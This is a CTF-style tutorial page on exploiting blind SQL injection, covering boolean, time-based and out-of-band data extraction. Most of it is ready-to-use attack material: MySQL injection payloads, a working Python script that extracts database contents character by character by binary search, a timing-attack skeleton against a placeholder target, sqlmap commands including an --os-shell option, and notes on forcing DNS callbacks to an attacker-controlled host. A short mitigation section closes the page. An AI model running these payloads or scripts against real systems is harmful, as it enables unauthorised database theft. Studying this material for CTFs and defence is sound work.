Blind SQL Injection
Extract data from blind SQLi vulnerabilities using boolean-based, time-based, and out-of-band techniques.
""" This page summarizes practical approaches for exploiting blind SQL injection - situations where the application does not directly return query results or detailed error messages. The goal is the same as with visible SQLi: confirm injection, then extract data. The difference is the techniques used to infer the data (boolean, timing, or out-of-band). """
Quick overview
- Boolean-based: infer values from differences in the response (content, length, status). Fast when responses differ clearly.
- Time-based: infer values by observing deliberate delays introduced by the database (SLEEP/pg_sleep/WAITFOR). Useful when responses look identical.
- Out-of-band (OOB): force the database to call back to an attacker-controlled service (DNS/HTTP) to leak data in one request.
Detection checklist
- Inject a simple boolean test and look for any change:
id=1 AND 1=1vsid=1 AND 1=2. - Compare response body length, status code, headers, or distinct HTML fragments.
- If nothing changes, try a fast time delay (e.g.
SLEEP(3)) and measure response time. - Look for non-standard behavior in cookies, redirects, or error timing that may reveal conditional logic.
When testing, always minimize noise (use a single controlled parameter) and avoid high-rate scanning on shared CTF infrastructure.
Boolean-based techniques
Principle: send a condition that is TRUE for the desired character and FALSE otherwise, observe which case the server returns.
Example payloads (MySQL-style):
-- simple true/false probes
id=1 AND 1=1--
id=1 AND 1=2--
-- check a single character: is the 1st char of database() > 'm' ?
id=1 AND ASCII(SUBSTRING((SELECT database()),1,1))>109--
-- equality test for a known value
id=1 AND ASCII(SUBSTRING((SELECT database()),1,1))=109--Optimizations:
- Use binary search over the ASCII space (32–126) per character (~7 requests/char). -- When possible, extract integers or lengths first, then strings - fewer total checks.
Small Python helper (boolean, binary-search per character):
import requests
BASE = 'http://target.com/page'
def resp_len(params):
return len(requests.get(BASE, params=params).text)
def is_true(cond, baseline_len):
return resp_len({'id': f"1 AND ({cond})--"}) == baseline_len
def extract(query, max_len=40):
baseline = resp_len({'id': '1 AND 1=1--'})
out = ''
for pos in range(1, max_len+1):
lo, hi = 32, 126
while lo <= hi:
mid = (lo + hi) // 2
cond = f"ASCII(SUBSTRING(({query}),{pos},1))>{mid}"
if is_true(cond, baseline):
lo = mid + 1
else:
hi = mid - 1
c = chr(lo-1)
if ord(c) < 32:
break
out += c
print(out)
return out
# usage: extract('SELECT database()')Time-based techniques
Principle: cause the DB to delay when a condition is TRUE and measure response time.
Common delay functions by DB:
- MySQL:
SLEEP(n)/IF(condition,SLEEP(n),0) - PostgreSQL:
pg_sleep(n)/CASE WHEN ... THEN pg_sleep(n) END - MSSQL:
WAITFOR DELAY '0:0:n'
Example (MySQL):
id=1 AND IF(ASCII(SUBSTRING((SELECT database()),1,1))=97,SLEEP(3),0)--Tips:
- Prefer binary search on ASCII values to reduce requests.
- Use a reasonable sleep (2–4s) and thresholding; too short delays are noisy, too long are slow.
- Retry measurements and use median timings to reduce false positives.
Python timing skeleton:
import time, requests
def timed_check(payload, threshold=2.0):
start = time.time()
requests.get('http://target.com/page', params={'id': payload})
return (time.time() - start) > threshold
# Then combine with binary search per character as above, using timed_check instead of direct response comparison.Out-of-band (OOB) techniques
If the DB can perform outbound network requests, you can cause it to resolve a domain you control and observe the query in your DNS logs (fast way to leak data).
Examples:
- MySQL: use
LOAD_FILE()with a UNC path (Windows) or other file-based tricks where allowed. - MSSQL:
xp_dirtreecan be used to trigger DNS lookups.
Use an external service (Burp Collaborator, Interactsh) or your own DNS to collect callbacks.
Caveats:
- OOB requires the DB server to be able to reach external hosts; many CTFs allow this, but production servers often restrict it.
Automation and tooling
sqlmapsupports blind techniques: use--technique=B(boolean) and--technique=T(time). Combine with--threadsand--delaycarefully.- For OOB, use
--os-shellor Collaborator features where available.
Example sqlmap flags:
sqlmap -u "http://target.com/?id=1" --technique=BT --dbs
sqlmap -u "http://target.com/login" --data="user=foo&pass=bar" -p user --technique=T --delay=2Use automation sparingly in CTFs to avoid rate-limiting; manual confirmation remains important.
Prevention and mitigation
-- Use parameterized queries / prepared statements for all database access - never concatenate user input into SQL.
- Apply least-privilege to DB accounts (no FILE/xp_* if not needed).
- Validate and canonicalize input server-side; treat blacklists as insufficient.
- Monitor logs and rate-limit suspicious requests to detect automated extraction attempts.
- Employ WAFs and network egress controls to block OOB exfiltration in production.
See also
- SQL Injection - Basics
- sqlmap & web tooling
- Burp Suite — Repeater/Comparer for manual blind inference
Last updated on